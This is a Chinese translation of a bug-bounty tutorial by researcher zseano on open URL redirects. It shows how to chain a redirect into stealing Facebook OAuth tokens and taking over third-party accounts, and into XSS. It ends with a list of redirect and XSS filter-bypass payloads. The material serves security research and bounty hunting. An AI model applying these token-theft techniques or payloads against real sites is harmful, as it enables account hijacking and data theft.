zseano 漏洞赏金猎人系列教程 开放URL重定向

zseano 07v8论安全
跟zseano大牛一起做漏洞赏金猎人系列教程之教程一:开放 URL 重定向
本系列教程编译自漏洞赏金项目大牛@zseano的博客:https://zseano.com

https://zseano.com/tutorials/1.html

前言

@zseano是一位来自英国的安全研究者,在漏洞赏金平台Bugcrowd有着不错的成绩(目前排名第2)。他擅长Web渗透测试,目前也活跃在Hackerone和Synack等平台。他自己这样说道:我喜欢帮助别人,因为每个人的目的都是不同的,所以我觉得跟他人合作来获得一些很酷的新想法是非常有趣的。我对保护这个互联网世界充满了热情。

个人觉得@zseano真的挺棒的,首先技术实力没得说,其次能够把好的想法以及自己的一些经验分享给大家,不仅符合黑客的侠义精神,还能推动大家一起做好安全这件事,为他点赞!

下面是一些@zseano写的帮助其他研究人员挖掘漏洞的教程。 这里面讨论了各种主题,例如通过FacebookOauth和公共区域更改开放的URL重定向到账户接管,以发现IDOR(不安全的直接对象引用)漏洞。他本人计划发布更多教程,所以感兴趣的伙伴请记得常去访问他的博客哟。

正文

https://www.example.com/?go=https://www.google.com/

嗯,让我们开始实战吧!找一个开放URL重定向和一个常见的地方试试。我们试试在Google里面使用site:example.com inurl:redirect,看看能发现什么。当然,我们还能使用更多的普通重定向词语,比如

1
2
3
4
5
site:example.com inurl:redirect
inurl:go,
inurl:return,
inurl:returnTo
inurl:redirect

什么都没发现?别灰心,让我们从目标站点开始并看看常见的地方。从我的经验来看,容易出现该漏洞的地方通常是这些页面:

1
2
login, register, logout,
changesite language, links in emails

假设这次我们起码能找到一处开放URL重定向,如果没有,那就继续找下去!;)现在我们找到一处漏洞,是该立马提交还是用它来干点其他的事呢?从我的经验来看,我总是会继续深入,所以建议你也这样做!以下是一些能用该漏洞继续升入挖掘的常见手段:

  1. 开放URL跳转 -> 通过错误配置的Facebook客户端窃取Facebook Oauth令牌(凭证)
  2. 开放URL跳转 -> 使用Facebook接入令牌来接管(第三方)账户
  3. 开放URL跳转 -> DOM XSS

通过错误配置的Facebook客户端窃取Facebook Oauth令牌(凭证)

Facebook通过使用类似 appsecret_proof 这种功能,在保护用户的接入令牌(access_token)方面做得很不错,但是很遗憾,用户基本不去使用这项功能。在黑客眼里,Facebook的Oauth系统相当简单:提供一个客户端ID(client_id)和一个白名单中的重定向URI(redirect_uri)即可获得令牌(token)。

案例:
https://www.facebook.com/dialog/oauth?client_id=388795771235143&response_type=token&redirect_uri=https://www.cbssports.com/&scope=email

注解:使用&response_type=code或response_type=token能实现不同的结果。

想象一下,在zseano.cbssports.com这个站点上我们发现了一处开放URL重定向。如果我们输入&redirect_uri=https://zseano.cbssports.com/并且被它接受了——那就太好了!如果没有被接受,也别灰心,试试https://www.cbssports.com/test/ 这种。如果仍然不行,那么说明这个站点是安全的。但是能行,那么只能是http://www.cbssports.com/*这种。
现在我来讲一下在Facebook的Oauth系统这个案例中用到的技巧。如果你给Facebook提供一个&redirect_uri=https://zseano.cbssports.com/?goto=https://www.google.com/ ,那么它不会跟着重定向到你的站点(也就是你用来窃取他们Oauth令牌的站点)。

说好的技巧呢?URL编码。没错,如果我们给Facebook 添加&

redirect_uri=https%3A%2F%2Fzseano.cbssports.com%2F%3Fgoto%3Dhttps%3A%2F%2Fwww.google.com%2F,那么它就会跟着重定向到你的站点,这样你就可以收获他们的fb Oauth令牌啦!:)
那么FB Oauth令牌能干嘛呢?根据Facebook的说明,可以做很多事。我们可以查询他们的邮件,在涂鸦墙上发帖(如果有正确的权限),反正一大堆。因为他们访问我们的站点,我们就可以窃取他们用户的邮件,那么我们的开放URL重定向是不是就有意义了呢?

使用Facebook接入令牌来接管(第三方)账户

这个漏洞不仅是能查询他们Facebook信息那么简单。用你的手机看看这个站点是不是还有一个APP,9成的APP都有一个“使用Facebook登录”的按钮并且从我的经验来看,使用他们的FB app登录(包括注册)时,他们会做以下的事:

  • 获取我的Facebook接入令牌
  • 将其发送到他们的服务器并交换不记名令牌
  • 在所有的调用(基本上是我的会话)中使用这个令牌
    那么你一直跟着我看到这里了吗?我测试过的APP基本上允许我将用户重定向到Facebook oauth对话框屏幕,重定向到我的网站并劫持他的令牌,然后查询实际站点的移动api系统作为……的交换令牌,你猜对了,受害者帐户。
    其他值得看看的常见地方是“关联”到Facebook账户的账户设置。

所以,我们刚刚将一个“无害的”开放URL重定向变成了一个能接入受害者账户的权限。当然每个开放URL重定向都不同,但这是我经常关注的关键部位(而且一般都能成功!)。

还能做其他的吗?

开放URL重定向在一些方面也能用来XSS攻击。让我们探讨一下下面的案例。

如你所见,我们首先找到一处开放URL重定向,而且能执行XSS攻击。如果我们输入”;alert(0);// 会发生什么呢?(我们使用”;来结束varredirectToUrl=””;变量,然后使用 // 注释掉最后的”;—如果不是JavaScript就只能抱怨了。在一般的脚本标签上使用这个也能绕过chrome的xss auditor :D)

耶!成功啦! :D.
使用原来的 ?redirect=javascript:alert(0); 有时候也能起作用,尤其是遇到SWF文件的时候。(site: example.com inurl:?clickTag=ext:swf 就是最常见的一个!)

绕过过滤器(Filter)的方法

使用原来的 ?redirect=javascript:alert(0); 有时候也能起作用,尤其是遇到SWF文件的时候。(site: example.com inurl:?clickTag=ext:swf 就是最常见的一个!)

绕过过滤器的方法
每个开放URL重定向都不同,但是这里是一些我成功执行重定向 / XSS 的payload。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
java%0d%0ascript%0d%0a:alert(0)
(用crlf攻击来绕过JavaScript:被加入黑名单)
//google.com
(以防http:// 被加入黑名单)
https:google.com
(在浏览器接受的情况下,如果 // 被加入黑名单,那么用这个就很棒!)
//google%E3%80%82com
(%E3%80%82是。的编码。十分感谢filedescriptor向我展示这个。)
\/\/google.com/
(对于绕过// http://黑名单十分有效。浏览器把\/\/看作是//)
/\/google.com/
(同上)
//google%00.com
(null 字节在任何地方都能用来绕过黑名单过滤器)
http://www.theirsite.com@yoursite.com/
(老掉牙啦,但是浏览器会重定向到@后面的任何东西)
http://www.yoursite.com/http://www.theirsite.com/
(如果@被加入到黑名单而且他们还检查了他们的域名是否在参数里,那么久建一个目录作为他们的域名 :D)
";alert(0);//
(这是从上面的例子得来的。如果url在变量中响应而且我们想在脚本标签中执行xss的话。)

嗯……这样我们就达到了目的。我希望大家都能喜欢第一篇教程,并且从中学到一些关于开放URL重定向的新东西,并让他们变得有价值。